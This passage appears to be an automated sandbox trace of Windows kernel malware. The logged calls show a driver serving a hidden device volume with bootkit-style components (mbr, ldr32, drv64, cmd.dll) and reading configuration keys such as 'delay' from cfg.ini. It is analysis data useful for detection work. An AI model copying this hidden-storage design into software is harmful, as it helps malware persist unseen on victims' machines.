VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.704] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.704] IdePortDispatch () returned 0x103 [0122.704] KeWaitForMutexObject () returned 0x0 [0122.704] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.704] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.704] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.704] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.704] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.704] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.704] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.704] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.704] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.704] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.704] KeLeaveCriticalRegion () [0122.704] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.704] ReleaseMutex (hMutex=0x100) returned 1 [0122.704] Sleep (dwMilliseconds=0x2bf20) [0122.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c561790, dwHighDateTime=0x1d24fa4)) [0122.711] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.711] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.711] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.711] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.711] KeEnterCriticalRegion () [0122.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.711] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.711] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.711] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.711] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.711] IdePortDispatch () returned 0x103 [0122.711] KeWaitForMutexObject () returned 0x0 [0122.711] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.711] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.711] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.711] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.711] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.711] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be68b0 [0122.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.711] KeLeaveCriticalRegion () [0122.711] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.711] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.711] KeEnterCriticalRegion () [0122.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.711] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.711] KeLeaveCriticalRegion () [0122.711] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.711] KeEnterCriticalRegion () [0122.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.711] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.711] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.712] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.712] IdePortDispatch () returned 0x103 [0122.712] KeWaitForMutexObject () returned 0x0 [0122.712] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.712] KeLeaveCriticalRegion () [0122.712] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.712] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.712] KeEnterCriticalRegion () [0122.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.712] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0e000 [0122.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.712] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.712] IdePortDispatch () returned 0x103 [0122.712] KeWaitForMutexObject () returned 0x0 [0122.712] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.712] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.712] IdePortDispatch () returned 0x103 [0122.712] KeWaitForMutexObject () returned 0x0 [0122.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.713] KeLeaveCriticalRegion () [0122.713] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.713] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.713] KeEnterCriticalRegion () [0122.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.713] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.713] KeLeaveCriticalRegion () [0122.713] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.713] KeEnterCriticalRegion () [0122.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.713] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.713] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.713] KeLeaveCriticalRegion () [0122.713] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.713] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.713] KeEnterCriticalRegion () [0122.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.713] ExFreePoolWithTag (P=0xfffffa8003be68b0, Tag=0x0) [0122.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.713] KeLeaveCriticalRegion () [0122.713] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.713] ReleaseMutex (hMutex=0xf0) returned 1 [0122.713] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.714] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.714] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.714] KeEnterCriticalRegion () [0122.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.714] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.714] IdePortDispatch () returned 0x103 [0122.714] KeWaitForMutexObject () returned 0x0 [0122.714] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.714] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.714] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.714] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.714] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.714] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc5e0 [0122.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.714] KeLeaveCriticalRegion () [0122.714] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.714] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.714] KeEnterCriticalRegion () [0122.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.714] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.714] KeLeaveCriticalRegion () [0122.714] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.714] KeEnterCriticalRegion () [0122.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.714] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.714] IdePortDispatch () returned 0x103 [0122.714] KeWaitForMutexObject () returned 0x0 [0122.715] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.715] KeLeaveCriticalRegion () [0122.715] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.715] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.715] KeEnterCriticalRegion () [0122.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.715] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0f000 [0122.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.715] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.715] IdePortDispatch () returned 0x103 [0122.715] KeWaitForMutexObject () returned 0x0 [0122.715] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.715] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.715] IdePortDispatch () returned 0x103 [0122.715] KeWaitForMutexObject () returned 0x0 [0122.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.715] KeLeaveCriticalRegion () [0122.715] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.716] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.716] KeEnterCriticalRegion () [0122.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.716] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.716] KeLeaveCriticalRegion () [0122.716] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.716] KeEnterCriticalRegion () [0122.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.716] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.716] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.716] KeLeaveCriticalRegion () [0122.716] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.716] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.716] KeEnterCriticalRegion () [0122.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.716] ExFreePoolWithTag (P=0xfffffa8003bbc5e0, Tag=0x0) [0122.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.716] KeLeaveCriticalRegion () [0122.716] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.716] ReleaseMutex (hMutex=0xf0) returned 1 [0122.716] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.716] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.716] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.716] KeEnterCriticalRegion () [0122.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.717] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.717] IdePortDispatch () returned 0x103 [0122.717] KeWaitForMutexObject () returned 0x0 [0122.717] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.717] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.717] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.718] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.718] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.718] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6ab0 [0122.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.718] KeLeaveCriticalRegion () [0122.718] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.718] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.718] KeEnterCriticalRegion () [0122.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.718] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.718] KeLeaveCriticalRegion () [0122.718] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.718] KeEnterCriticalRegion () [0122.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.718] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.718] IdePortDispatch () returned 0x103 [0122.719] KeWaitForMutexObject () returned 0x0 [0122.719] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.719] KeLeaveCriticalRegion () [0122.719] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.719] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.719] KeEnterCriticalRegion () [0122.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.719] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d10000 [0122.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.719] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.719] IdePortDispatch () returned 0x103 [0122.720] KeWaitForMutexObject () returned 0x0 [0122.720] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.720] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.720] IdePortDispatch () returned 0x103 [0122.720] KeWaitForMutexObject () returned 0x0 [0122.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.720] KeLeaveCriticalRegion () [0122.720] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.720] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.721] KeEnterCriticalRegion () [0122.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.721] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.721] KeLeaveCriticalRegion () [0122.721] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.721] KeEnterCriticalRegion () [0122.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.721] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.721] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.721] KeLeaveCriticalRegion () [0122.721] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.721] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.721] KeEnterCriticalRegion () [0122.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.721] ExFreePoolWithTag (P=0xfffffa8003be6ab0, Tag=0x0) [0122.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.721] KeLeaveCriticalRegion () [0122.721] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.721] ReleaseMutex (hMutex=0xf0) returned 1 [0122.721] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.721] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.721] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 